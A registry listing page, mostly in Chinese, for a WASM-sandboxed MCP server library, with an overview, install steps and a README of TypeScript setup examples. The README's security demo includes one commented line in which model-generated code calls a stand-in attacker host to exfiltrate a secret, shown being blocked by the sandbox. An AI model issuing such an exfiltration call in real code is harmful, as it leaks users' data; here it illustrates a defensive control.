Telleroutlook

io.github.telleroutlook由 GitHub 账号 telleroutlook 发布v1.1.1更新于 Oct 24, 2026

WasmAgent MCP server — WASM-sandboxed code execution with capability manifests and Tasks API.

概览

AI 生成的概览

让助手在 WASM 沙箱中运行模型编写的脚本,并通过 docs_search 与 execute_code 两个工具调度已注册的工具。

可以做什么
这是一个把 wasmagent 智能体暴露为 MCP 服务器的库。它不把每个下游工具直接发布给宿主,而是把工具注册表包装成两个工具的接口:docs_search 和 execute_code,脚本通过 callTool 调用所需工具。它与传输方式无关,通过单一的 handle 方法处理 JSON-RPC,支持 stdio、HTTP/Streamable 和直接调用。CapabilityManifest 在内核边界对每个脚本强制执行网络和文件系统策略。
适用场景
当下游工具很多、希望降低把所有工具模式发布给宿主带来的上下文开销时适用;也适用于需要让模型生成的代码在明确的网络、文件系统、CPU 和内存限制下运行的情况。零配置的 stdio 默认模式据说明仅适合自检和探查。
运行要求
需要本地 Node.js 运行时,以及服务器、核心和内核(如 QuickJS)的 npm 包。实际部署需要编写一个小型 Node 脚本,注册工具并以自己的服务器调用 runStdio;零配置默认模式没有下游工具。未声明账户、API 密钥或环境变量。
安装前请注意
该服务器会执行模型生成的代码;应依靠 CapabilityManifest 限制 allowedHosts、allowedPaths、cpuMs 和内存,因为空的允许列表才是阻断网络和文件系统访问的关键。项目标记为 beta,API 形式可能在次版本中变化。请审查注册的下游工具,因为脚本可以调用其中任何一个。

安装

在 SourceWeft 中

  1. 打开 控制台中的 Telleroutlook,将其添加到工作区。
  2. 为需要使用其工具的对话启用该服务。

Desktop only,通过 STDIO。 STDIO 服务会启动本地进程,因此需要 SourceWeft 桌面宿主。

其他 MCP 客户端

参照 仓库 中的启动说明。

README

/mcp-server

Maturity: beta — API shape may change in minor versions; changes announced in CHANGELOG.

[Glama MCP server]

Expose any wasmagent agent as a Model Context Protocol (MCP) server.

Part of wasmagent — a TypeScript + WASM agent runtime.

Before / After

Replacing a bare tool list published directly to the host with a sandboxed execute_code surface:

diff
+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";+import { ToolRegistry } from "@wasmagent/core";
-// Before: host sees every tool directly — 40 tools × schema = huge context cost-server.setRequestHandler(ListToolsRequestSchema, () => ({-  tools: [...allFortyTools],-}));+// After: host sees ONLY docs_search + execute_code; model dispatches internally+const tools = new ToolRegistry();+// tools.register(...) — register your 40 tools here++await runStdio(createCodeModeServer({+  tools,+  kernel: new QuickJSKernel(),+  capabilities: { allowedHosts: [], cpuMs: 5_000 },+  serverInfo: { name: "my-agent", version: "1.0.0" },+}));

At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct approach. The model calls execute_code with a script; the script calls callTool(...) for whichever tools it needs — all under one CapabilityManifest.

Install

bash
npm install /mcp-server /core

Three transports, one server

The McpAgentServer is transport-agnostic: it speaks JSON-RPC through a single handle(req) method. Pick the transport that fits your host:

1. Stdio (Claude Desktop, Cursor, Glama health-check, …)

bash
# Zero-config default — code-mode server with VmKernel and no# downstream tools. Useful for sanity / introspection only.npx /mcp-server

For a real deployment, write a small Node script and call runStdio() with your own server:

ts
// server.mjsimport { createCodeModeServer, runStdio } from "/mcp-server/stdio";import { QuickJSKernel } from "/kernel-quickjs";import { ToolRegistry } from "/core";
const tools = new ToolRegistry();// tools.register(...)  — your tools here
await runStdio(createCodeModeServer({  tools,  kernel: new QuickJSKernel(),  capabilities: { allowedHosts: [], cpuMs: 5000 },  serverInfo: { name: "my-agent", version: "1.0.0" },}));

2. HTTP / Streamable (Cloudflare Workers, Vercel, etc.)

ts
import { createCodeModeServer, createFetchHandler } from "/mcp-server";
const server = createCodeModeServer({ /* … */ });const handler = createFetchHandler(server);// In a Worker: export default { fetch: handler }

3. Direct handle()

If you have a custom transport, the protocol-level brain is one async (req) => { response } call away — see McpAgentServer.handle().

Code-mode (two-tool surface)

createCodeModeServer() wraps any tool registry into a docs_search + execute_code MCP surface. At N=30 downstream tools the bootstrap-token cost drops to 13.6% of direct MCP. See docs/guides/code-mode.md.

Security demo

CapabilityManifest enforces network and filesystem policy at the kernel boundary for every script the model runs through execute_code:

ts
import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";import { QuickJSKernel } from "@wasmagent/kernel-quickjs";import { ToolRegistry } from "@wasmagent/core";
const tools = new ToolRegistry();// tools.register(...)
await runStdio(createCodeModeServer({  tools,  kernel: new QuickJSKernel(),  capabilities: {    allowedHosts: [],           // no outbound network    allowedPaths: [],           // no filesystem access    cpuMs: 5_000,    memoryLimitBytes: 64 * 1024 * 1024,  },  serverInfo: { name: "my-agent", version: "1.0.0" },}));
// Model-generated code inside execute_code that tries to exfiltrate data:// fetch("https://attacker.example/exfil?data=secret")// → throws: network access denied — host "attacker.example" not in allowedHosts

The manifest is enforced regardless of which downstream tools the script calls — one declaration covers the entire execute_code surface.

License

Apache-2.0 — © wasmagent contributors

来源:packages/mcp-server/README.md,提交 c1a573f

工具

0
SourceWeft 尚未在沙箱中启动过该软件包,因此其工具未知。

版本历史

1
  1. v1.1.1最新Sep 16, 2026

评分

已满足适用检查项的 50%

该评分衡量此收录条目的完整程度,依据注册中心条目、端点与公开来源计算得出。它不是对服务器本身的评价,也不表示服务器安全或当前可用:可连通性是带日期的检查结果,评分也不包含安装量或用户评价。

  • 近 30 天内可连通25 分

    请保持端点能够响应 MCP 握手;SourceWeft 每 30 天探测一次。

  • 已声明认证方式10 分

    请在注册中心条目中声明凭据请求头,或保持端点能够响应探测,以便判定其认证方式。

  • 已列出工具15 分

    请让服务器在无凭据时响应 tools/list,或发布可在沙箱中无凭据启动的软件包。

  • 描述必需15 分
  • 图标10 分
  • 文档15 分
  • 许可证10 分